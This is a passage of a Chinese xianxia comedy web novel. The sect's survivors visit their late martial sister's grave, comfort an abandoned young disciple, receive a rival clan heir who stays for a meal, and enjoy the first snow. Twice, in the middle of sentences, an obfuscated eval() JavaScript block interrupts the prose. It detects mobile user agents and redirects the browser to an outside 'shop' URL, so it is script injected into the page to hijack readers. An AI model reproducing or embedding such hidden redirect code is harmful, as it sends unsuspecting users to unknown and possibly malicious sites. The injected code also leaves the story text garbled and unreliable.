安然愣了一下,然后笑了。 “二师兄,”他说,“你还是这么会算账。” 徐修哼了一声。 “废话,”他说,“管了三百年账,这点道理还是懂的。” 归尘在旁边听着,嘴角弯了弯。 “二师兄,”他说,“你刚才那句话,四师姐听了肯定高兴。” 徐修愣住了。 “哪句?” 归尘说:“‘省粮食’那句。” 徐修想了想,然后笑了。 “是啊,”他说,“她最怕浪费粮食。小时候吃饭,谁剩一粒米,她能念叨一整天。” 安然接话:“对对对!有一次大师兄吃饭太快,掉了一粒米在地上,她蹲在地上找了半天,找到之后吹了吹,塞进自己嘴里。” 归尘和徐修都愣住了。 “还有这事?”徐修问。 安然点点头。 “我亲眼看见的。”他说,“大师兄当时脸都红了。后来吃饭再也没掉过一粒米。” 三个人都笑了。 过了很久,归尘开口了。 “四师姐,”他说,“应该是活得最好的那个。” 徐修和安然都看向他。 归尘看着屋顶那个洞,声音很轻。 “她那人啊,什么事都能找到乐子。”他说,“饿了,有东西吃就是乐子。冷了,有太阳晒就是乐子。一个人待着,看月亮也是乐子。” 他顿了顿。 “她活了三千年,应该比咱们都开心。” 安然点点头。 “是啊。”他说,“她从小就比咱们想得开。” 徐修叹了口气。 “可她还是走了。”他说,“寿元尽了。” “那又怎样?”归尘说,“她走之前,收了个徒弟。那徒弟重建宗门,把咱们都找回来了。” 他看着徐修。 “这不就是她算的那一卦吗?” 徐修愣住了。 安然继续他的话说:“她天赋最高,最会卜卦。她肯定算到了自己活不长,但她的徒弟,会把咱们聚在一起。” “那丫头,”他说,“到死都在帮咱们。” 第二天早上,太阳刚升起来,宋栀子就冲进了柴房。 “师父!师父!我又成功了!” 安然睁开眼,发现自己被挤在最里面。 归尘在左边,徐修在右边,宋栀子蹲在他头顶。 他深吸一口气。 “成功什么了?” 宋栀子举起一个阵盘。 “这个!我自己画的!没炸!” 安然接过来看了看。 阵纹歪歪扭扭,灵力忽强忽弱,但确实——没炸。 他沉默了三秒。 然后他笑了。 “不错。”他说,“继续练。” 宋栀子眼睛亮了。 “真的?” 安然点点头。 “真的。”他说,“虽然丑了点,但能用。” 宋栀子高兴得跳起来。 “我成功了!我成功了!” 她跑出去,撞上了刚起床的祁幻。 祁幻被她撞得往后退了两步,账本差点掉地上。 “你干嘛?” 宋栀子举起那个丑兮兮的阵盘。 “三师兄你看!我自己画的!” 祁幻看了看那个阵盘。 沉默,沉默,再沉默。 然后他说:“它还能用吗?” 宋栀子用力点头。 “能用!师父说能用!” 祁幻叹了口气。 “行吧,”他说,“能用就行。” 他翻开账本,记了一笔: “宋栀子新发明:阵盘一个。成本:二十文。成果:能用。心情:复杂但欣慰。” 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:阵盘十三个(炸了),价值约二百六十两。今日进账:无。心情:复杂但麻木。 赵铁柱:十三个?!怎么炸的? 王甜甜:我学的! 赵铁柱:…… 安然:这丫头天赋不错。 赵铁柱:天赋不错能炸十三个? 安然:炸得越多,学得越快。 赵铁柱:这是什么逻辑? 徐修:有钱人的逻辑。 赵铁柱:…… 安然:甜甜日后炸毁的地方的修复费,我出了。 钱多多:威武!霸气!宗门终于来了个富公。 安然:谬赞谬赞。 安然:@典星河听说你有四师妹的消息? 典星河:是。我的师父叫夏轻鸿,就是你们口中的四师妹,但是…… 徐修:已经走了。 安然:怎么走的? 归尘:寿元尽了,笑着走的。 安然:那丫头从小就爱笑。星河,谢谢你。 典星河:师叔言重了。 沈念:那咱们真是一家人了。 王甜甜:本来就是一家人啊! 赵铁柱:对对对!一家人! 李翠花:一家人。 安然:@典星河你师父有没有跟你说过,她以前偷吃过大师兄的糕点? 典星河:……说过。 安然:那是我们几个一起干的,她一个人背了锅。 典星河:她说那是她一个人的功劳。 安然:??? 安然:她从小就爱吃甜的。 徐修:大师兄老说她,吃多了牙疼。 归尘:但她从来不听。 安然:对,她说,牙疼就疼,疼也是甜的。 王甜甜:呜呜呜呜呜好可爱。 典星河:师父要是知道你们都在这儿,肯定很高兴。 安然:她肯定知道。 归尘:她算卦最准。 徐修:嗯。 沈念:所以……是她把咱们聚在一起的? 安然:是她的徒弟把咱们聚在一起的。 安然:四师妹要是知道,肯定觉得自己赚了——用一个徒弟,换回了三个师兄。 典星河:…… 典星河:那我算什么? 安然:你是她留给我们的礼物。 群里安静了一秒。 钱多多:呜呜呜呜呜师伯你太会说了! 穆惇:掌门,你是最好的礼物。 20. 不哭的丫头 第二天一早,典星河站在院子里,看着后山的方向。 站了很久。 归尘从柴房里走出来,在她旁边蹲下。 “想去?”他问。 典星河点点头。 “嗯。” 归尘没说话,只是站起来,拍了拍身上的灰。 “走吧。”他说,“叫上他们一起。” 半个时辰后,九个人排成一排,往后山走。 牧殇背着个大包袱,里面装着香烛纸钱。祁幻抱着账本,边走边记:“香烛二十文,纸钱十五文,祭品……”宋栀子捧着一束自己扎的花——用阵法材料扎的,五颜六色,还会发光。 安然走在最前面,一边走一边整理衣襟。 “四师妹喜欢干净,”他说,“咱们得收拾整齐点。” 徐修点点头,把衣服上的褶皱抚平。 归尘没说话,将披散的头发扎了起来,整了整衣服。 走了小半个时辰,终于到了。 后山半山腰,一棵老松树下,立着一座坟。 很简单,一块青石墓碑,上面刻着几个字: “恩师夏轻鸿之墓” 旁边还有一行小字:“徒弟典星河立” 坟前很干净,杂草被清理过,显然是有人常来。 典星河走过去,蹲下来,伸手摸了摸墓碑。 “师父,”她轻声说,“我带人来看你了。” 她顿了顿。 “都是你以前说过的那些人。” 安然走上前,在坟前站定。 他看着那块墓碑,看了很久。 “四师妹,”他说,“你挑的这地方不错。有树,有风,还能看见山下。” 他蹲下来,从怀里掏出一包糕点,放在坟前。 “你小时候爱吃的桂花糕。”他说。 徐修也走上前,放下一壶酒。 “你最爱喝的那个。”他说,“我酿的。” 归尘最后一个走上去。 他蹲下来,把手里那包瓜子放在坟前。 “四师姐,”他说,“你以前老偷我瓜子。今天我送你一包。” 他的声音很轻。 “不用偷了。” 宋栀子捧着那束发光的花,不知道该放哪儿。 安然回头看了她一眼。 “放坟前。”他说,“她会喜欢的。” 宋栀子小心翼翼地把花放下。 然后她抬起头,看着那块墓碑。 “四师伯,”她说,“我叫宋栀子,是掌门捡回来的。我会发明,虽然老炸,但师父现在教我了。” 她想了想,又补充了一句。 “您放心,我会照顾好掌门的。虽然她老是躺着不动,但我会给她送吃的。” 典星河在旁边咳了一声。 宋栀子眨眨眼,一脸无辜。 牧殇也上前,恭恭敬敬地鞠了一躬。 “四师伯好,”他说,“我叫牧殇,话有点多,您别介意。您要是想听故事,我可以给您讲一晚上。” 祁幻抱着账本,不知道该怎么办。 “师、师伯,”他说,“我叫祁幻,管账的。宗门虽然天天赤字,但我会想办法,不会叫他们饿死的,您放心。” 穆惇最后一个走上前。 她没说话,只是从怀里掏出一把种子,撒在坟周围。 “花种子。”她说,“明年开春,您这儿就热闹了。” 众人拜完之后,退到一边。 典星河还蹲在坟前,不肯走。 归尘走过去,在她旁边站立。 他轻轻垂首,“想说什么就说,她听得见。” 典星河沉默了一会儿。 “师父,”她说,“你以前说的那些人,我都找到了。” 她指了指身后。 “那个头发白的,是你小师弟。那个爱干净的,是你三师兄。那个老得最快的,是你二师兄。” 徐修在后面抗议:“谁老得最快?” 典星河没理他,继续说。 “他们都挺好的。虽然老了点,但都活着。” 归尘在旁边嘴角弯了弯。 会说。 典星河又说:“你走了之后,我把宗门撑起来了。虽然人少,但热闹,几个人也有几百人的气势。 师父,你说得对。他们都会喜欢我。” 她伸出手,轻轻摸了摸墓碑。 “师父,谢谢你。谢谢你收了我。” 一阵风吹过,老松树的枝叶轻轻晃动。 几片松针飘落下来,落在典星河的头上,肩上。 她轻声说,“师父,是你在摸我的头吗?” 下山的时候,牧殇突然问:“师伯,四师伯是什么样的人啊?” 安然想了想。 “爱笑。”他说,“不管什么事,她都笑着。” 徐修接话:“爱偷吃。大师兄的糕点,小尘的瓜子,我的酒,她什么都偷。” 归尘点点头。 “但她从来不被抓到。” 安然笑了。 “那是因为她跑得快。”他说,“每次偷完就跑,追都追不上。” 牧殇想:那是因为他们不拆穿。 宋栀子好奇地问:“那她挨过罚吗?” 三个人对视了一眼。 徐修说:“挨过。有一次被大师兄当场抓住,罚她抄经书。” “她抄了吗?” “抄了。”安然说,“但抄的是《美食大全》。” 宋栀子愣住了。 “经书呢?” 徐修笑了。 “她把经书藏起来了,自己画了一本《美食大全》充数。大师兄检查的时候,她还振振有词:‘这本经书讲的是人生哲理,您看,酸甜苦辣,都是人生。’” 牧殇笑得直不起腰。 “大师兄信了?” 安然叹了口气。 “大师兄信了三天。三天后才发现不对劲。” 归尘接了一句:“然后追着她打了半个时辰。” 众人笑得前仰后合。 典星河在旁边听着,嘴角也弯了弯。 “师父从来没跟我说过这些。”她说。 安然看着她。 “她肯定想亲口跟你说。”他说,“可惜没等到。” 典星河沉默了一会儿。 “没关系。”她说,“现在我听你们说也一样。我的师父,真的是一个很好很好的人。” 与此同时,仙网论坛上炸了。 起因是一个匿名帖子—— 【震惊】青云山脉深处惊现神秘队伍,疑似集体上坟! 发帖人:路人甲 内容:今天路过一座无名小山,看见一群人排着队往后山走。有老有少,有男有女。他们在一棵老松树下停了很久,好像在祭拜什么。有人知道这是什么宗门吗? 底下评论已经疯了: “我认识那个话痨!是躺平宗的牧殇!” “那个白头发的是归尘前辈!渡劫期大佬!” “旁边那个青年是谁?没见过啊。” “等等,他们去祭拜谁?” “能让渡劫期大佬亲自去祭拜的,肯定是大人物!” “会不会是躺平宗的创始人?” “楼上你真相了!” 帖子越传越离谱。 三十分钟后,一个新帖子出现—— 【独家】躺平宗秘史大揭秘!他们去祭拜的究竟是谁? 发帖人:八卦小能手 内容:据可靠消息,躺平宗今天集体出动,前往后山祭拜一位神秘人物。此人疑似与归尘前辈有旧,极可能是三千年前那场浩劫的幸存者之一! 评论区: “三千年前?!那得是多大的佬?” “难怪渡劫期大佬亲自去祭拜。” “所以躺平宗到底是什么来头?” “早就说了,这个宗门不简单!” 五十分钟后,又一个帖子—— 【深度】从今天的事看躺平宗的隐藏实力 发帖人:修仙观察员 内容:今天的事大家都知道了。我想说的是,能让九个人集体出动去祭拜,说明这个人对躺平宗意义重大。而且归尘前辈亲自去,徐修前辈亲自去,安然前辈亲自去——这说明什么?说明躺平宗的底蕴,远比我们想象的要深! 评论区: “大佬,分析一下,躺平宗到底有多少隐藏高手?” “目前已知:归尘(渡劫期),徐修(化神),安然(化神),穆惇(金丹),典星河(金丹)其他人未知。” “等等,安然是谁?” “今天那个青年的。” “所以那个青年的也是大佬?!” “躺平宗到底还有多少惊喜?” 柴房里,牧殇刷着玉简。 “师伯!你们上热搜了!” 安然凑过来看了一眼。 “‘青年’?”他皱起眉头,“这叫什么称呼?” 徐修在旁边幸灾乐祸。 安然道:“比你‘老得最快的’强。” 徐修瞪他一眼。 宋栀子凑过来,看着那些帖子,眼睛亮晶晶的。 “师父师父!有人说您是化神期大佬!” 安然点点头。 “嗯,是真的。” 宋栀子更兴奋了:“那您是不是很厉害?” 安然想了想。 “还行。”他说,“主要是活得久。” 宋栀子:“……” 那天晚上,柴房门口,宋栀子一个人蹲着,面前摆着几个阵盘。 安然走出来,在她旁边蹲下。 “还在练?” 宋栀子点点头。 “嗯。” 安然看了看那些阵盘——三个炸了,两个半死不活,一个勉强能用。 “不错。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387681|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说,“比昨天进步了。” 宋栀子没说话。 安然看着她。 “怎么了?”他问,“有心事?” 宋栀子沉默了一会儿。 然后她抬起头,看着安然。 “师父,”她说,“你以前……有没有被丢下过?” 安然愣住了。 宋栀子的声音很轻。 “我小时候,被人丢在宗门门口。”她说,“掌门把我捡回来的。” 她低下头。 “我一直想,是不是我哪里不好,他们才不要我。” 安然看着她,看了很久。 然后他伸出手,在她脑袋上轻轻拍了拍。 “丫头,”他说,“你知道我怎么看你的吗?” 宋栀子摇摇头。 安然说:“我自从第一次见到你,你就一直在炸宗门。炸完厨房炸柴房,炸完之后,你从废墟里爬出来,满脸是灰,还在笑。” 他笑了。 “那时候我就想,这丫头啊,定能成大事。” 宋栀子愣住了。 安然继续说:“你这么能炸,你爹妈肯定养不起。所以他们把你放在这儿,让你自己养活自己。” 宋栀子的眼眶红了。 “真、真的吗?” 安然点点头。 “真的。”他说,“你这种天赋,一般人家养不起,可是,我可以。” 宋栀子看着他,不知道该哭还是该笑。 安然又说:“而且你看,你在这儿过得挺好的。有人教你,有人陪你,有人给你买阵盘。” 他指了指柴房。 “我们三个老家伙和你的小伙伴,天天被炸,也没说过你一句。” 宋栀子的眼泪终于掉下来。 “师父,”她说,“你说话真好听。” 安然点点头。 “那是。”他说,“练了三千年了。” 那天晚上,宋栀子抱着那几个阵盘,睡得特别香。 归尘从柴房里走出来,在安然旁边蹲下。 “她跟你说了?”他问。 安然点点头。 “你也看出来了?” 归尘轻轻叹气,“她怕再被丢下,所以拼命发明,拼命炸,拼命让大家记住她。” “这孩子,跟咱们一样。” “是啊。”归尘说,“都是被丢下过的。” 安然盯着他。 “你打算怎么办?” 归尘想了想。 “让她知道,这儿没人会丢下她。” 第二天早上,宋栀子刚起床,就发现柴房门口蹲着一个人。 归尘。 他手里攥着瓜子,正看着她。 宋栀子揉了揉眼睛。 “前辈?您怎么在这儿?” 归尘没说话,只是递给她一把瓜子。 宋栀子接过来,在他旁边蹲下。 两人一起嗑瓜子。 过了好一会儿,归尘开口了。 “丫头,”他说,“你知道我是怎么来的吗?” 宋栀子摇摇头。 归尘说:“我被人送走的。三千年了,一直在找回家的路。” 宋栀子愣住了。 归尘继续说:“我找了三千年,找到这儿,找到了你们。” 他转头看向宋栀子。 “你知道这说明什么吗?” 宋栀子摇摇头。 归尘说:“说明只要有人等,就一定能找到回家的路。” 宋栀子轻轻歪头,表示疑惑。 他继续说,“你在这儿,有人等。以后不管你去哪儿,都有人等你回来。” “前辈,”她说,“你说话也真好听。” 归尘点点头。 “嗯。”他说,“也是练的。” 那天中午,宋栀子的阵盘又炸了。 但她从废墟里爬出来的时候,笑得特别开心。 “师父!”她喊,“我又炸了!” 安然从柴房里探出头。 “炸就炸,喊什么喊?” 宋栀子举起那个炸成两半的阵盘。 “但这个没炸全!还有一半能用!” “行,”他说,“有进步。” 宋栀子高兴得跳起来。 祁幻在旁边记账,一边记一边念叨:“阵盘一个,成本二十文,成果一半能用,心情……” 他顿了顿。 “心情:高兴。” 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:阵盘一个(炸了一半),香烛纸钱三十五文,桂花糕二十文。今日进账:无。心情:复杂但温暖。 李翠花:论坛上有人问咱们宗门还收不收人。 钱多多:你怎么回? 李翠花:没回。 钱多多:为什么? 李翠花:不会打字。 钱多多:…… 21. 上京沈家 一块巨石从天而降,砸在山门外的土路上,陷进地里三尺深,震得歪脖子树的叶子簌簌往下掉。 祁幻的毛笔在账本上划出一道长长的墨痕。 为首的年轻人骑着一条银色蛟龙,蛟龙落地时带起一阵狂风,吹得歪脖子树的叶子簌簌往下掉。他身后跟着二十几个随从,个个衣着光鲜,气势凌人。 年轻人从蛟龙上跳下来,锦衣玉带,眉宇间带着三分傲气。他抬头看着那块掉了半边的牌匾,笑了。 “这就是躺平宗?”他说,“破成这样,也配叫宗门?” 祁幻正在主殿门口记账,听到动静跑出来,看见这一群人,愣住了。 “你、你们谁啊?” 年轻人从怀里掏出一块令牌,随手扔给祁幻。 祁幻接住一看——令牌是紫檀木做的,上面刻着一个古老的徽记:一头下山猛虎,周围环绕着火焰纹。 他看不懂,但觉得这玩意儿挺值钱。 年轻人开口了,声音不大,但带着一股居高临下的味道。 “我叫沈彻。”他说,“上京沈家的人。” 祁幻没反应。 沈彻皱了皱眉。 “没听说过?” 祁幻诚实地点点头。 “没有。” 沈彻的脸色有点不好看。 他身后一个随从上前一步,厉声道:“大胆!上京沈家你都不知道?修仙界四大世家之一!三千年前——” “行了。”沈彻摆摆手,打断他。 他看着祁幻,眼神里带着一丝审视。 “叫你们掌门出来。”他说,“我有话要问她。” 祁幻跑进去叫人的时候,院子里已经有人听见动静了。 归尘从柴房里走出来,站在歪脖子树下,看着山门的方向。 安然正在教宋栀子画阵纹,听见声音,放下笔,站起来。 徐修放下酒杯,眯着眼睛往外看。 典星河从摇椅上坐起来,打了个哈欠。 “谁啊?”她问。 祁幻跑过来,把令牌递给她。 “上京沈家的,说要见您。” 典星河看了一眼令牌,挑了挑眉。 “上京沈家?”她说,“没听过。” 祁幻:“……” 典星河站起来,拍了拍身上的瓜子壳。 “走吧,”她说,“去看看。” 典星河走到山门口,在沈彻面前站定。 她打量了他一眼。 “找我什么事?” 沈彻也在打量她。 懒洋洋的,头发乱糟糟的,衣服皱巴巴的——一看就不是什么正经掌门。 他笑了一声。 “你就是典星河?” 典星河点点头。 “是我。” 沈彻从怀里掏出一张泛黄的纸,展开。 “三千年前,”他说,“有个宗门叫躺平宗,被灭了。灭他们的人,是我祖宗。” 典星河的表情没变。 但院子里,归尘的手停住了。 安然站起来。 徐修放下酒杯。 三个人的目光,同时落在那个年轻人身上。 沈彻继续说:“我祖宗当年带队灭了躺平宗,本以为斩草除根。没想到三千年后,这宗门又冒出来了。” 他看着典星河。 “你说,这是什么意思?” 典星河想了想。 “意思就是……没死绝?”她说。 沈彻的脸色一僵。 他身后一个随从厉声道:“大胆!敢这么跟少主说话!” 典星河看了他一眼。 “我说的不对吗?”她问,“你们来,不就是想知道这个?” 沈彻深吸一口气。 “我来,”他说,“是想看看,你们这些人,到底是不是当年那些人的后人。” 他顿了顿。 “如果是,”他说,“那就别怪我……” 他没说完。 因为院子里突然走出来三个人。 一个白发如雪,眉眼精致得不像是真人。 一个青衫整洁,嘴角带着温和的笑。 一个灰袍旧衣,脸上刻着深深的皱纹。 三个人并排站在典星河身后,看着沈彻。 沈彻愣住了。 他看不清那个白发人的修为。 也看不清那个青衫人的修为。 那个灰袍人的修为他也看不清。 三个人站在那儿,什么都没说,什么都没做。 但沈彻的后背突然有点发凉。 他身后那些随从也安静了。 典星河回头看了一眼,又转回来。 “你刚才说什么?”她问,“别怪你什么?” 沈彻张了张嘴,没说出话来。 沈彻深吸一口气,努力让自己镇定下来。 “你们……”他的声音有点干涩,“你们就是当年那些人?” 归尘看着他。 “你祖宗,”他说,“叫什么名字?” 沈彻愣了一下。 “沈……沈烈。” 归尘沉默了一会儿。 然后他点点头。 “记得。”他说,“他带队从正门攻进来的。元婴巅峰,使一把火纹剑。” 沈彻的脸色变了。 归尘继续说:“他死在大师兄剑下。一剑穿心。” 沈彻的嘴唇动了动,却没说出话来。 安然在旁边接了一句:“我记得他。挺能打的。死了之后,他们的人就乱了。” 徐修叹了口气。 “那场仗,打了三天三夜。”他说,“最后活下来的,就我们几个。” 沈彻站在原地,一动不动。 他身后那些随从大气都不敢出。 过了很久,沈彻开口了。 “你们……恨吗?”他问。 归尘看着他。 “恨过。”他说。 沈彻愣住了。 归尘继续说:“恨了三千年。后来发现,恨没用。” 他顿了顿。 “死的人回不来。活着的人,得继续活。” 沈彻看着他,眼神复杂。 “那你们……不报仇?” 归尘摇摇头。 “仇已经报了。”他说,“你祖宗死在大师兄剑下,一命抵一命。” 安然在旁边接了一句:“而且你祖宗杀的人,比我们多。真要算,你们欠我们的。” 沈彻沉默了。 典星河在旁边听着,突然开口。 “所以,”她说,“你今天是来干嘛的?替祖宗报仇?” 沈彻张了张嘴。 “我……” 典星河继续问:“还是来确认我们死没死透?” 沈彻的脸有点红。 典星河叹了口气。 “你祖宗都死了三千年了,你还记着这笔账,累不累?” 沈彻愣住了。 典星河指了指身后那三个人。 “他们死了多少师兄弟?一百多个。”她说,“人家都没想着报仇,你一个享福的后代,倒跑来兴师问罪?” 沈彻的脸更红了。 典星河又说:“再说了,你打得过他们吗?” 沈彻沉默了。 他确实打不过。 那三个人,随便一个都能把他按在地上摩擦。 典星河看着他,笑了。 “行了,”她说,“来都来了,进去坐坐?刚买的肉,还没下锅。” 沈彻愣住了。 “你……你请我吃饭?” 典星河点点头。 “不然呢?”她说,“把你打一顿,撵回去?然后你回去告诉你爹,再把你爹气死?” 沈彻张了张嘴,不知道该说什么。 安然在旁边笑了。 “星河这丫头,”他对归尘说,“像四师妹。说话又软又硬,让人没法接。” 归尘点点头。 的确。 半个时辰后,沈彻坐在主殿门口,手里端着一碗饭。 他旁边蹲着归尘,对面坐着安然和徐修,不远处祁幻在记账,宋栀子抱着阵盘在研究,穆惇在灵田里锄地,牧殇在跟他的随从们聊天——聊得那些随从一脸茫然。 沈彻看着这一团乱,沉默了。 这躺平宗到底是个什么地方? 他带来的那些随从,此刻正被牧殇拉着聊天。从“你们沈家平时吃什么”聊到“你们那儿有没有什么八卦”,从“你们少主平时凶不凶”聊到“你们觉得我们宗门怎么样”。 那些随从一开始还绷着脸,后来被问得实在没办法,开始有一搭没一搭地回应。再后来,有人居然笑了。 沈彻看着自己那个平时最严肃的护卫长,此刻正被牧殇逗得肩膀直抖。 典星河端着碗走过来,在他旁边坐下。 “怎么?不习惯?” 沈彻摇摇头。 “不是。”他说,“就是……没想到。” 典星河笑了。 “没想到什么?” 沈彻想了想。 “没想到你们是这样的。”他说,“我以为是那种……苦大仇深、随时准备报仇的样子。” 典星河笑出了声。 “苦大仇深?”她说,“你看看他们,哪个像苦大仇深的?” 沈彻看了一眼。 归尘在嗑瓜子,慢悠悠的,一颗接一颗。 安然在整理衣襟,袖口有点皱了,他正仔细地抚平。 徐修在喝酒,喝一口,眯着眼回味一下,再喝一口。 牧殇在跟人聊天,聊得眉飞色舞,那几个随从居然也开始搭话了。 宋栀子在研究阵盘——那阵盘突然冒出一股烟,炸了。 她抬起头,笑着说:“师父!又炸了!” 安然叹了口气。 “第几个了?” 宋栀子想了想。 “二十三个!” 安然点点头。 “有进步。” 沈彻沉默了。 每个人都有自己的事情要做,根本没人理他。 典星河拍拍他的肩。 “三千年前的仇,就让它过去吧。你祖宗杀过人,我们也杀过人。现在活着的,就这几个了。” 她顿了顿。 “你要是真想做什么,就回去告诉你爹,告诉当年那些和你们同盟的人,躺平宗还在,但不想惹事。让他们别来烦我们。” 沈彻看着她,看了很久。 然后他低下头,扒了一口饭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387682|200271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你们这饭……”他说,“还挺好吃的。” 典星河笑了。 “那是。”她说,“我们宗门啊就穆惇做的饭最好吃了,你有福了。” 吃完饭,沈彻站起来。 他看了一眼那些随从——几个被牧殇聊得晕头转向,两个在帮宋栀子捡炸飞的阵盘碎片,还有一个居然在帮穆惇锄地。 他沉默了。 典星河在旁边问:“要不要再待会儿?让他们再聊会儿?” 沈彻摇摇头。 “不了。”他说,“再待下去,我怕他们不想走了。” 典星河笑了。 “那正好,”她说,“留下来给我们干活。” 沈彻看了她一眼。 “下次吧。”他说,“下次多带点人来。” 典星河挑眉。 “带人来干嘛?打架?” 沈彻摇摇头。 “带人来吃饭。”他说,“让他们也尝尝。” 临走前,他站在山门口,回头看了一眼。 典星河靠在歪脖子树上,冲他挥了挥手。 “下次再来玩,”她说,“记得带礼物。” 沈彻笑了。 “好。”他说。 蛟龙腾空而起,带着那群人消失在云层里。 祁幻走过来,站在典星河旁边。 “掌门,”他说,“就这么放他们走了?” 典星河点点头。 “不然呢?我不想他们三个再次经历三千年前的一切,我们好不容易有个家。” 祁幻想了想。 “万一他回去告诉他爹,他爹再带人来……” 典星河笑了。 “他爹要是聪明,就不会来。”她说,“咱们这儿三个老妖怪,谁来谁吃亏。” 祁幻愣了一下。 然后他笑了。 “也是。”他说。 当天晚上,仙网论坛上突然出现一个帖子—— 【惊爆】上京沈家少主亲赴躺平宗,归来后神情恍惚! 发帖人:匿名 内容:今天下午,上京沈家的少主沈彻带着一群人去了躺平宗。进去的时候气势汹汹,出来的时候……怎么说呢,整个人看起来有点懵。有人知道发生什么了吗? 评论区: “躺平宗?那个天天上热搜的?” “沈家去那儿干嘛?” “听说沈家和躺平宗有旧怨……” “什么旧怨?” “三千年前的,具体的不知道。” “然后呢?打起来了吗?” “不知道,但沈彻出来的时候,手里还端着一碗饭。” “???” “端着一碗饭???” “对,有人亲眼看见的。” 评论区彻底炸了。 “去寻仇还带吃饭的?” “是不是被收买了?” “一顿饭就能收买沈家少主?” “可能是太好吃了……” 与此同时,另一个帖子也火了—— 【投票】沈彻去躺平宗到底发生了什么? 选项: A.打了一架,输了,被迫吃饭 B.被收买了,一顿饭就叛变了 C.发现打不过,干脆蹭顿饭再走 D.其实他们是去谈合作的 目前C选项票数遥遥领先。 柴房里,牧殇刷着论坛,笑得直打滚。 “师伯!你们看!” 安然凑过来看了一眼,沉默了。 “端着一碗饭?”他说,“谁传的?” 牧殇指了指一个匿名账号。 “这人说亲眼看见的,说不定是他的随从。” 【章末小剧场:躺平宗摸鱼群】 钱多多:@所有人,今日支出:肉五斤二百文,米十斤五十文。今日进账:无。 赵铁柱:论坛你们看了吗?炸了! 王甜甜:看了看了!沈彻端着碗那张图,谁拍的? 安然:应该是他那个随从。 徐修:那随从还挺有拍照天赋。 归尘:嗯。 牧殇:我小号已经在那边带节奏了! 钱多多:你又干嘛了? 牧殇:我发了个帖子——《沈彻亲口承认:躺平宗的饭真好吃》! 安然:…… 徐修:他什么时候说的? 牧殇:在您喝酒的时候。 典星河:@牧殇,干得不错。 牧殇:掌门英明! 李翠花:沈彻走的时候,看了灵田一眼。 钱多多:他想干嘛? 李翠花:不知道。但我觉得他还会来。 典星河:来就来呗,反正多张嘴的事。 安然:你倒是不挑。 典星河:挑什么?又不用我做饭。 安然:…… 徐修:有道理。 归尘:嗯。 王甜甜:师父师父!我的阵盘又炸了一个! 安然:第几个了? 王甜甜:二十四个! 安然:有进步。 王甜甜:真的? 安然:真的。炸得比之前远了。 王甜甜:…… 赵铁柱:哈哈哈哈哈哈 22. 雪战 冬天来的时候,躺平宗的人都没反应过来。 那天早上,祁幻照例翻开账本,准备记账。刚写下“今日支出”四个字,一阵冷风吹过来,他的手一抖,毛笔在纸上划出一道长长的墨痕。 他抬起头。 院子里,歪脖子树的叶子掉光了,光秃秃的枝丫伸向灰蒙蒙的天。柴房顶上积了一层薄薄的白——不是霜,是雪。 祁幻愣住了。 “下、下雪了?” 他站起来,跑到院子里。细碎的雪花飘下来,落在他的鼻尖上,凉凉的。 “下雪了!”他喊,“下雪了!” 柴房门开了。 归尘探出头来,看了一眼,又把头缩回去了。 安然从柴房里走出来,抬头看了看天。 “嗯,”他说,“是该下了。” 徐修跟在他后面,裹着一件旧棉袄,哆哆嗦嗦的。 “今年怎么这么冷……”他嘟囔着。 安然看了他一眼。 “二师兄,”他说,“你是化神期。” 徐修愣了一下。 “对哦。” 他放下棉袄,挺直腰杆,不哆嗦了。 宋栀子从厨房里跑出来,手里还拿着半个萝卜。 “雪!雪!下雪了!” 她张开嘴,仰着头,等着雪花落进去。 一朵雪花飘进她嘴里。 她嚼了嚼。 “没味道。”她说。 牧殇在旁边笑出了声。 “雪能有啥味道?” 宋栀子认真地说:“我以为是甜的。” 牧殇:“……” 典星河躺在摇椅上,盖着一床旧棉被,慢悠悠地嗑着瓜子。 “祁幻,”她说,“去把炭火点上。冷死了。” 祁幻点点头,跑进柴房去搬炭。 穆惇从灵田那边走过来,身上落满了雪。 她走到院子里,站定,看着那片被雪覆盖的灵田。 沉默了很久。 “我的萝卜……”她说。 安然走过去,在她旁边蹲下。 “冻了?” 穆惇点点头。 “没事,”安然说,“萝卜冻一冻更好吃。” 穆惇转头看他。 安然眨眨眼。 “真的,”他说,“冻过的萝卜炖汤,特别甜。” 穆惇沉默了三秒。 然后她点点头。 “行。”她说,“晚上炖汤。” 雪越下越大。 到中午的时候,地上已经积了厚厚一层。 宋栀子第一个冲出去,在雪地里打滚。 “好软!好软!” 她滚了一圈,爬起来,身上沾满了雪,像个雪人。 牧殇走出来,看着她的样子,笑了。 “你这样不行,”他说,“要堆雪人,得这样——” 他蹲下来,开始团雪球。 团了一个小的,又团一个大的,把小的放在大的上面。 “看!”他说,“雪人!” 宋栀子凑过去看。 那个雪人歪歪扭扭的,头都快掉了。 她沉默了。 “二师兄,”她说,“你堆的这个,好像要倒。” 牧殇低头一看,确实。 雪人的头已经开始往一边歪。 他赶紧伸手去扶。 “啪。” 头掉了。 牧殇:“……” 宋栀子笑得直不起腰。 安然从柴房里走出来,看着这一幕,摇了摇头。 “你们这样不行。”他说,“堆雪人,得讲究。” 他蹲下来,开始团雪球。 动作很慢,很仔细。 团好一个,放在一边。再团一个,又放在一边。 